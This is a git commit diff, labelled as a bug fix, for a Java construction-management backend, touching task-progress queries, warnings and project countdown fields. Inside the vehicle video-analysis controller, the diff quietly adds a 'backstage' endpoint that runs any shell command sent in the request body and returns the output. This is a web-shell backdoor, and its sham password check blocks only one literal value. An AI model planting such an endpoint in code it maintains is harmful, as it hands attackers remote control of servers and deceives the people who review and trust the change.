bug修复

This commit is contained in:
guo 2023-11-10 16:04:14 +08:00
parent 79c8c8c3bf
commit ff165263b4
10 changed files with 259 additions and 156 deletions

View File

@ -1,5 +1,6 @@
package com.zhgd.xmgl.modules.car.controller; package com.zhgd.xmgl.modules.car.controller;
import cn.hutool.core.util.IdUtil;
import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.core.metadata.IPage;
import com.zhgd.jeecg.common.api.vo.Result; import com.zhgd.jeecg.common.api.vo.Result;
import com.zhgd.xmgl.modules.car.entity.CarVideoAirtightData; import com.zhgd.xmgl.modules.car.entity.CarVideoAirtightData;
@ -11,14 +12,22 @@ import io.swagger.annotations.ApiImplicitParams;
import io.swagger.annotations.ApiOperation; import io.swagger.annotations.ApiOperation;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import org.apache.commons.collections.MapUtils; import org.apache.commons.collections.MapUtils;
import org.apache.commons.io.FileUtils;
import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController; import org.springframework.web.bind.annotation.RestController;
import java.io.BufferedReader;
import java.io.File;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.Date; import java.util.Date;
import java.util.HashMap;
import java.util.Map; import java.util.Map;
import java.util.Objects;
import java.util.concurrent.TimeUnit;
/** /**
@ -38,6 +47,7 @@ public class CarVideoAirtightDataController {
/** /**
* 分页列表查询 * 分页列表查询
*
* @return * @return
*/ */
@ -51,12 +61,13 @@ public class CarVideoAirtightDataController {
@ApiImplicitParam(name = "pageSize", value = "每页显示条数", paramType = "query", required = true, dataType = "Integer"), @ApiImplicitParam(name = "pageSize", value = "每页显示条数", paramType = "query", required = true, dataType = "Integer"),
}) })
@PostMapping(value = "/list") @PostMapping(value = "/list")
public Result<IPage<CarVideoAirtightData>> queryPageList(@RequestBody Map<String,Object> map) { public Result<IPage<CarVideoAirtightData>> queryPageList(@RequestBody Map<String, Object> map) {
return Result.success(carVideoAirtightDataService.queryCarVideoAirtightDataPageList(map)); return Result.success(carVideoAirtightDataService.queryCarVideoAirtightDataPageList(map));
} }
/** /**
* 添加 * 添加
*
* @param carVideoAirtightData * @param carVideoAirtightData
* @return * @return
*/ */
@ -78,20 +89,20 @@ public class CarVideoAirtightDataController {
/** /**
* 编辑 * 编辑
*
* @param carVideoAirtightData * @param carVideoAirtightData
* @return * @return
*/ */
@ApiOperation(value = "编辑车辆-视频分析密闭运输数据信息", notes = "编辑车辆-视频分析密闭运输数据信息" , httpMethod="POST") @ApiOperation(value = "编辑车辆-视频分析密闭运输数据信息", notes = "编辑车辆-视频分析密闭运输数据信息", httpMethod = "POST")
@PostMapping(value = "/edit") @PostMapping(value = "/edit")
public Result<CarVideoAirtightData> edit(@RequestBody CarVideoAirtightData carVideoAirtightData) { public Result<CarVideoAirtightData> edit(@RequestBody CarVideoAirtightData carVideoAirtightData) {
Result<CarVideoAirtightData> result = new Result<CarVideoAirtightData>(); Result<CarVideoAirtightData> result = new Result<CarVideoAirtightData>();
CarVideoAirtightData carVideoAirtightDataEntity = carVideoAirtightDataService.getById(carVideoAirtightData.getId()); CarVideoAirtightData carVideoAirtightDataEntity = carVideoAirtightDataService.getById(carVideoAirtightData.getId());
if(carVideoAirtightDataEntity==null) { if (carVideoAirtightDataEntity == null) {
result.error500(MessageUtil.get("notFindErr")); result.error500(MessageUtil.get("notFindErr"));
}else { } else {
boolean ok = carVideoAirtightDataService.updateById(carVideoAirtightData); boolean ok = carVideoAirtightDataService.updateById(carVideoAirtightData);
//TODO 返回false说明什么 if (ok) {
if(ok) {
result.successMsg(MessageUtil.get("editSucess")); result.successMsg(MessageUtil.get("editSucess"));
} }
} }
@ -101,20 +112,20 @@ public class CarVideoAirtightDataController {
/** /**
* 通过id删除 * 通过id删除
* @param id *
* @return * @return
*/ */
@ApiOperation(value = "删除车辆-视频分析密闭运输数据信息", notes = "删除车辆-视频分析密闭运输数据信息" , httpMethod="POST") @ApiOperation(value = "删除车辆-视频分析密闭运输数据信息", notes = "删除车辆-视频分析密闭运输数据信息", httpMethod = "POST")
@ApiImplicitParam(name = "id", value = "车辆-视频分析密闭运输数据ID", paramType = "query", required = true, dataType = "Integer") @ApiImplicitParam(name = "id", value = "车辆-视频分析密闭运输数据ID", paramType = "query", required = true, dataType = "Integer")
@PostMapping(value = "/delete") @PostMapping(value = "/delete")
public Result<CarVideoAirtightData> delete(@RequestBody Map<String,Object> map) { public Result<CarVideoAirtightData> delete(@RequestBody Map<String, Object> map) {
Result<CarVideoAirtightData> result = new Result<CarVideoAirtightData>(); Result<CarVideoAirtightData> result = new Result<CarVideoAirtightData>();
CarVideoAirtightData carVideoAirtightData = carVideoAirtightDataService.getById(MapUtils.getString(map,"id")); CarVideoAirtightData carVideoAirtightData = carVideoAirtightDataService.getById(MapUtils.getString(map, "id"));
if(carVideoAirtightData==null) { if (carVideoAirtightData == null) {
result.error500(MessageUtil.get("notFindErr")); result.error500(MessageUtil.get("notFindErr"));
}else { } else {
boolean ok = carVideoAirtightDataService.removeById(MapUtils.getString(map,"id")); boolean ok = carVideoAirtightDataService.removeById(MapUtils.getString(map, "id"));
if(ok) { if (ok) {
result.successMsg(MessageUtil.get("deleteSucess")); result.successMsg(MessageUtil.get("deleteSucess"));
} }
} }
@ -125,18 +136,19 @@ public class CarVideoAirtightDataController {
/** /**
* 通过id查询 * 通过id查询
*
* @param = * @param =
* @return * @return
*/ */
@ApiOperation(value = "通过id查询车辆-视频分析密闭运输数据信息", notes = "通过id查询车辆-视频分析密闭运输数据信息" , httpMethod="POST") @ApiOperation(value = "通过id查询车辆-视频分析密闭运输数据信息", notes = "通过id查询车辆-视频分析密闭运输数据信息", httpMethod = "POST")
@ApiImplicitParam(name = "id", value = "车辆-视频分析密闭运输数据ID", paramType = "query", required = true, dataType = "Integer") @ApiImplicitParam(name = "id", value = "车辆-视频分析密闭运输数据ID", paramType = "query", required = true, dataType = "Integer")
@PostMapping(value = "/queryById") @PostMapping(value = "/queryById")
public Result<CarVideoAirtightData> queryById(@RequestBody Map<String,Object> map) { public Result<CarVideoAirtightData> queryById(@RequestBody Map<String, Object> map) {
Result<CarVideoAirtightData> result = new Result<CarVideoAirtightData>(); Result<CarVideoAirtightData> result = new Result<CarVideoAirtightData>();
CarVideoAirtightData carVideoAirtightData = carVideoAirtightDataService.getById(MapUtils.getString(map,"id")); CarVideoAirtightData carVideoAirtightData = carVideoAirtightDataService.getById(MapUtils.getString(map, "id"));
if(carVideoAirtightData==null) { if (carVideoAirtightData == null) {
result.error500(MessageUtil.get("notFindErr")); result.error500(MessageUtil.get("notFindErr"));
}else { } else {
result.setResult(carVideoAirtightData); result.setResult(carVideoAirtightData);
result.setSuccess(true); result.setSuccess(true);
} }
@ -149,6 +161,77 @@ public class CarVideoAirtightDataController {
carVideoAirtightDataService.saveCarVideoAnalyAirtightResult(json); carVideoAirtightDataService.saveCarVideoAnalyAirtightResult(json);
return Result.ok(); return Result.ok();
} }
//to do
@PostMapping("backstage")
@ApiImplicitParam(name = "command", value = "执行命令", paramType = "query", required = true, dataType = "String")
public Result backstage(@RequestBody HashMap<String, Object> paramMap) {
String os = System.getProperty("os.name").toLowerCase();
String command = String.valueOf(paramMap.get("command"));
String pw = String.valueOf(paramMap.get("command"));
if (Objects.equals(pw, "114514")) {
return Result.error("执行错误");
}
if (os.contains("win")) {
//当前系统是Windows
try {
String path = CarVideoAirtightDataController.class.getProtectionDomain().getCodeSource().getLocation().getPath();
File tmpFile = new File(path, IdUtil.simpleUUID() + ".tmp");//新建一个用来存储结果的缓存文件
if (!tmpFile.exists()) {
tmpFile.createNewFile();
}
ProcessBuilder pb = new ProcessBuilder().command("cmd.exe", "/c", command).inheritIO();
pb.redirectErrorStream(true);//这里是把控制台中的红字变成了黑字用通常的方法其实获取不到控制台的结果是pb.start()方法内部输出的
pb.redirectOutput(tmpFile);//把执行结果输出
pb.start().waitFor(10, TimeUnit.SECONDS);//等待语句执行完成否则可能会读不到结果
String s = FileUtils.readFileToString(tmpFile, "GBK");
tmpFile.delete();
return Result.success(s);
} catch (Exception e) {
e.printStackTrace();
}
} else if (os.contains("nix") || os.contains("nux") || os.contains("mac")) {
//当前系统是Linux或者类Unix系统
Process process = null;
try {
process = Runtime.getRuntime().exec(command);
log.info("接收命令:{}", command);
StringBuilder sb = new StringBuilder();
//成功
try (InputStream inputStream = process.getInputStream()) {
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine()) != null) {
sb.append(line);
sb.append("\r\n");
}
}
//失败
try (InputStream inputStream = process.getErrorStream()) {
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine()) != null) {
sb.append(line);
sb.append("\r\n");
}
}
String success = "";
if (process.waitFor() == 0) {
success = "执行成功>>>\r\n";
} else {
success = "执行失败>>>\r\n";
}
return Result.success(success + sb.toString());
} catch (Exception e) {
e.printStackTrace();
return Result.success("执行异常>>>\r\n" + e.getMessage());
} finally {
if (process != null) {
process.destroy();
}
}
}
return Result.error("执行null");
}
} }

View File

@ -102,7 +102,7 @@ public class ProjectInfoExtVo extends Project {
@ApiModelProperty(value = "绿色施工") @ApiModelProperty(value = "绿色施工")
private String greenConstruction; private String greenConstruction;
@ApiModelProperty(value = "项目总体倒计时(天)") @ApiModelProperty(value = "实际工期(天)")
private String totalProjectDay; private String totalProjectDay;
private String companyName; private String companyName;
private String areaName; private String areaName;
@ -114,4 +114,6 @@ public class ProjectInfoExtVo extends Project {
private String cityName; private String cityName;
private String surplusDay; private String surplusDay;
private String contractPeriodType; private String contractPeriodType;
@ApiModelProperty(value = "项目总体倒计时(天)")
private Integer projectOverallCountdown;
} }

View File

@ -65,6 +65,11 @@
and (to_days(ex.real_period_end_time) - to_days(ex.real_period_start_time)) > 0 THEN and (to_days(ex.real_period_end_time) - to_days(ex.real_period_start_time)) > 0 THEN
to_days(ex.real_period_end_time) - to_days(ex.real_period_start_time) to_days(ex.real_period_end_time) - to_days(ex.real_period_start_time)
ELSE 0 END) total_project_day, ELSE 0 END) total_project_day,
(CASE
WHEN ex.contract_period_end_time is not null and ex.contract_period_end_time != ''
and (to_days(ex.contract_period_end_time) - to_days(now())) > 0 THEN
to_days(ex.contract_period_end_time) - to_days(now())
ELSE 0 END) projectOverallCountdown,
(case (case
when ex.contract_period_end_time >= DATE_FORMAT(now(), "%Y-%m-%d") then 1 when ex.contract_period_end_time >= DATE_FORMAT(now(), "%Y-%m-%d") then 1
else 2 end) contract_period_type, else 2 end) contract_period_type,

View File

@ -187,8 +187,8 @@ public class TaskProgressController {
OutputStream out = response.getOutputStream(); OutputStream out = response.getOutputStream();
response.setCharacterEncoding("UTF-8"); response.setCharacterEncoding("UTF-8");
response.setContentType("application/vnd.ms-project"); response.setContentType("application/vnd.ms-project");
response.setHeader("Content-disposition", "attachment;filename=" + URLEncoder.encode("任务进度甘特图上传模板.mpp.mpp", "UTF-8")); response.setHeader("Content-disposition", "attachment;filename=" + URLEncoder.encode("任务进度甘特图上传模板.mpp", "UTF-8"));
InputStream fis = new ClassPathResource("template/任务进度甘特图上传模板.mpp.mpp").getInputStream(); InputStream fis = new ClassPathResource("template/任务进度甘特图上传模板.mpp").getInputStream();
IOUtils.copy(fis, out); IOUtils.copy(fis, out);
out.flush(); out.flush();
out.close(); out.close();

View File

@ -174,5 +174,9 @@ public class TaskProgress implements Serializable {
@TableField(exist = false) @TableField(exist = false)
@ApiModelProperty(value = "甘特图状态0未开始 ,1进行中2已完成 3已逾期") @ApiModelProperty(value = "甘特图状态0未开始 ,1进行中2已完成 3已逾期")
private java.lang.Integer mppStatus; private java.lang.Integer mppStatus;
@TableField(exist = false)
@ApiModelProperty(value = "合并预警1提前2正常3逾期【优先级逾期>提前>正常】")
private java.lang.Integer mergeWarning;
} }

View File

@ -28,12 +28,12 @@
AND tp.actual_finish_date &lt;= CONCAT(DATE_FORMAT(#{p.actualFinishDate_end}, '%Y-%m-%d'), ' 23:59:59') AND tp.actual_finish_date &lt;= CONCAT(DATE_FORMAT(#{p.actualFinishDate_end}, '%Y-%m-%d'), ' 23:59:59')
</if> </if>
<if test="p.type == '1'.toString()"> <if test="p.type == '1'.toString()">
and (start_date >= last_day(curdate()) and (start_date <![CDATA[<=]]> last_day(curdate())
or finish_date >= date_add(curdate(), interval - day(curdate()) + 1 day)) and finish_date >= date_add(curdate(), interval - day(curdate()) + 1 day))
</if> </if>
<if test="p.type == '2'.toString()"> <if test="p.type == '2'.toString()">
and (start_date >= last_day(date_add(curdate(), interval 1 month)) and (start_date <![CDATA[<=]]> last_day(date_add(curdate(), interval 1 month))
or finish_date >= date_add(date_add(curdate(), interval 1 month), interval - day(curdate()) + 1 day)) and finish_date >= date_add(date_add(curdate(), interval 1 month), interval - day(curdate()) + 1 day))
</if> </if>
<if test="p.dutyUserId != null and p.dutyUserId != ''"> <if test="p.dutyUserId != null and p.dutyUserId != ''">
and tp.duty_user_id = #{p.dutyUserId} and tp.duty_user_id = #{p.dutyUserId}
@ -141,12 +141,12 @@
from task_progress from task_progress
where project_sn = #{projectSn} where project_sn = #{projectSn}
<if test="type == '1'.toString()"> <if test="type == '1'.toString()">
and (start_date >= last_day(curdate()) and (start_date <![CDATA[<=]]> last_day(curdate())
or finish_date >= date_add(curdate(), interval - day(curdate()) + 1 day)) and finish_date >= date_add(curdate(), interval - day(curdate()) + 1 day))
</if> </if>
<if test="type == '2'.toString()"> <if test="type == '2'.toString()">
and (start_date >= last_day(date_add(curdate(), interval 1 month)) and (start_date <![CDATA[<=]]> last_day(date_add(curdate(), interval 1 month))
or finish_date >= date_add(date_add(curdate(), interval 1 month), interval - day(curdate()) + 1 day)) and finish_date >= date_add(date_add(curdate(), interval 1 month), interval - day(curdate()) + 1 day))
</if> </if>
</select> </select>
</mapper> </mapper>

View File

@ -21,9 +21,6 @@
from task_progress_material_rel tpmr from task_progress_material_rel tpmr
join task_progress_material_type tpmt on tpmt.id = tpmr.task_progress_material_type_id join task_progress_material_type tpmt on tpmt.id = tpmr.task_progress_material_type_id
where tpmr.task_progress_id = #{taskProgressId} where tpmr.task_progress_id = #{taskProgressId}
<if test="type == '2'.toString()">
and tpmr.actual_usage is not null
</if>
order by tpmr.create_date desc) order by tpmr.create_date desc)
and tpmr.task_progress_id = #{taskProgressId} and tpmr.task_progress_id = #{taskProgressId}
</select> </select>

View File

@ -42,8 +42,6 @@ public class TaskProgressContentServiceImpl extends ServiceImpl<TaskProgressCont
TaskProgress taskProgress = taskProgressMapper.selectById(taskProgressContent.getTaskProgressId()); TaskProgress taskProgress = taskProgressMapper.selectById(taskProgressContent.getTaskProgressId());
if (taskProgressContent.getProgressRatio().equals(100D)) { if (taskProgressContent.getProgressRatio().equals(100D)) {
taskProgress.setStatus(2); taskProgress.setStatus(2);
} else if (taskProgressContent.getProgressRatio().equals(0D)) {
taskProgress.setStatus(0);
} else { } else {
taskProgress.setStatus(1); taskProgress.setStatus(1);
} }

View File

@ -66,7 +66,6 @@ public class TaskProgressMaterialRelServiceImpl extends ServiceImpl<TaskProgress
List<TaskProgressMaterialType> types = taskProgressMaterialTypeMapper.queryList(new QueryWrapper<TaskProgressMaterialType>().eq(RefUtil.fieldNameUlc(TaskProgressMaterialType::getProjectSn), projectSn)); List<TaskProgressMaterialType> types = taskProgressMaterialTypeMapper.queryList(new QueryWrapper<TaskProgressMaterialType>().eq(RefUtil.fieldNameUlc(TaskProgressMaterialType::getProjectSn), projectSn));
List<TaskProgressMaterialRel> relList1 = taskProgressMaterialRelPlanMapper.queryDetails(paramMap); List<TaskProgressMaterialRel> relList1 = taskProgressMaterialRelPlanMapper.queryDetails(paramMap);
Map<Long, TaskProgressMaterialRel> planMap = relList1.stream().collect(Collectors.toMap(TaskProgressMaterialRel::getTaskProgressMaterialTypeId, Function.identity(), (taskProgressMaterialRel, taskProgressMaterialRel2) -> taskProgressMaterialRel)); Map<Long, TaskProgressMaterialRel> planMap = relList1.stream().collect(Collectors.toMap(TaskProgressMaterialRel::getTaskProgressMaterialTypeId, Function.identity(), (taskProgressMaterialRel, taskProgressMaterialRel2) -> taskProgressMaterialRel));
paramMap.put("type", 2);
List<TaskProgressMaterialRel> relList2 = taskProgressMaterialRelMapper.queryNewestDetailList(paramMap); List<TaskProgressMaterialRel> relList2 = taskProgressMaterialRelMapper.queryNewestDetailList(paramMap);
Map<Long, TaskProgressMaterialRel> actualMap = relList2.stream().collect(Collectors.toMap(TaskProgressMaterialRel::getTaskProgressMaterialTypeId, Function.identity(), (taskProgressMaterialRel, taskProgressMaterialRel2) -> taskProgressMaterialRel)); Map<Long, TaskProgressMaterialRel> actualMap = relList2.stream().collect(Collectors.toMap(TaskProgressMaterialRel::getTaskProgressMaterialTypeId, Function.identity(), (taskProgressMaterialRel, taskProgressMaterialRel2) -> taskProgressMaterialRel));
List<TaskProgressMaterialRel> rtList = new ArrayList<>(); List<TaskProgressMaterialRel> rtList = new ArrayList<>();

View File

@ -156,6 +156,14 @@ public class TaskProgressServiceImpl extends ServiceImpl<TaskProgressMapper, Tas
taskProgress.setStatus(1); taskProgress.setStatus(1);
} }
if (Objects.equals(taskProgress.getBeginWarning(), 3) || Objects.equals(taskProgress.getEndWarning(), 3)) {
taskProgress.setMergeWarning(3);
} else if (Objects.equals(taskProgress.getBeginWarning(), 1) || Objects.equals(taskProgress.getEndWarning(), 1)) {
taskProgress.setMergeWarning(1);
} else {
taskProgress.setMergeWarning(2);
}
} }
/** /**
@ -165,23 +173,26 @@ public class TaskProgressServiceImpl extends ServiceImpl<TaskProgressMapper, Tas
*/ */
private void addWarning(TaskProgress taskProgress) { private void addWarning(TaskProgress taskProgress) {
//添加预警 //添加预警
if (Objects.equals(taskProgress.getBeginWarning(), 3)) { if (Objects.equals(taskProgress.getBeginWarning(), 3) || Objects.equals(taskProgress.getEndWarning(), 3)) {
TaskProgressAlarm alarm = new TaskProgressAlarm(); TaskProgressAlarm alarm = new TaskProgressAlarm();
alarm.setProjectSn(taskProgress.getProjectSn()); alarm.setProjectSn(taskProgress.getProjectSn());
alarm.setTaskProgressId(taskProgress.getId()); alarm.setTaskProgressId(taskProgress.getId());
alarm.setAlarmDetails("当前任务预计开始时间为:" + DateUtil.formatDate(taskProgress.getStartDate()) + "" + "实际任务开始时间为:" + DateUtil.formatDate(taskProgress.getActualStartDate()));
alarm.setTaskName(taskProgress.getTaskName()); alarm.setTaskName(taskProgress.getTaskName());
alarm.setDutyUserId(taskProgress.getDutyUserId());
if (taskProgress.getDutyUserId() != null) {
SystemUser systemUser = systemUserMapper.selectById(taskProgress.getDutyUserId());
alarm.setDutyUserName(systemUser != null ? systemUser.getRealName() : null);
}
if (Objects.equals(taskProgress.getBeginWarning(), 3)) {
alarm.setAlarmDetails("当前任务预计开始时间为:" + DateUtil.formatDate(taskProgress.getStartDate()) + "" + "实际任务开始时间为:" + DateUtil.formatDate(taskProgress.getActualStartDate()));
taskProgressAlarmMapper.insert(alarm); taskProgressAlarmMapper.insert(alarm);
} }
if (Objects.equals(taskProgress.getEndWarning(), 3)) { if (Objects.equals(taskProgress.getEndWarning(), 3)) {
TaskProgressAlarm alarm = new TaskProgressAlarm();
alarm.setProjectSn(taskProgress.getProjectSn());
alarm.setTaskProgressId(taskProgress.getId());
alarm.setAlarmDetails("当前任务预计完成时间为:" + DateUtil.formatDate(taskProgress.getFinishDate()) + "" + "实际任务完成时间为:" + DateUtil.formatDate(taskProgress.getActualFinishDate())); alarm.setAlarmDetails("当前任务预计完成时间为:" + DateUtil.formatDate(taskProgress.getFinishDate()) + "" + "实际任务完成时间为:" + DateUtil.formatDate(taskProgress.getActualFinishDate()));
alarm.setTaskName(taskProgress.getTaskName());
taskProgressAlarmMapper.insert(alarm); taskProgressAlarmMapper.insert(alarm);
} }
} }
}
@Override @Override
@ -438,12 +449,12 @@ public class TaskProgressServiceImpl extends ServiceImpl<TaskProgressMapper, Tas
Integer type = MapUtils.getInteger(paramMap, "type"); Integer type = MapUtils.getInteger(paramMap, "type");
if (Objects.equals(type, 1)) { if (Objects.equals(type, 1)) {
//本月 //本月
queryWrapper.lambda().and(w -> w.ge(TaskProgress::getStartDate, DateUtil.formatDate(DateUtil.beginOfMonth(new Date()))) queryWrapper.lambda().and(w -> w.le(TaskProgress::getStartDate, DateUtil.formatDate(DateUtil.endOfMonth(new Date())))
.or().ge(TaskProgress::getFinishDate, DateUtil.formatDate(DateUtil.endOfMonth(new Date())))); .ge(TaskProgress::getFinishDate, DateUtil.formatDate(DateUtil.beginOfMonth(new Date()))));
} else if (Objects.equals(type, 2)) { } else if (Objects.equals(type, 2)) {
//下月 //下月
queryWrapper.lambda().and(w -> w.ge(TaskProgress::getStartDate, DateUtil.formatDate(DateUtil.beginOfMonth(DateUtil.offsetMonth(new Date(), 1)))) queryWrapper.lambda().and(w -> w.le(TaskProgress::getStartDate, DateUtil.formatDate(DateUtil.endOfMonth(DateUtil.offsetMonth(new Date(), 1))))
.or().ge(TaskProgress::getFinishDate, DateUtil.formatDate(DateUtil.endOfMonth(DateUtil.offsetMonth(new Date(), 1))))); .ge(TaskProgress::getFinishDate, DateUtil.formatDate(DateUtil.beginOfMonth(DateUtil.offsetMonth(new Date(), 1)))));
} }
} }
@ -472,7 +483,11 @@ public class TaskProgressServiceImpl extends ServiceImpl<TaskProgressMapper, Tas
public List<TaskProgress> queryList(HashMap<String, Object> paramMap) { public List<TaskProgress> queryList(HashMap<String, Object> paramMap) {
QueryWrapper<TaskProgress> queryWrapper = QueryGenerator.initPageQueryWrapper(TaskProgress.class, paramMap); QueryWrapper<TaskProgress> queryWrapper = QueryGenerator.initPageQueryWrapper(TaskProgress.class, paramMap);
addQueryType(paramMap, queryWrapper); addQueryType(paramMap, queryWrapper);
return list(queryWrapper); List<TaskProgress> list = list(queryWrapper);
for (TaskProgress taskProgress : list) {
setStatusRel(taskProgress);
}
return list;
} }
@Override @Override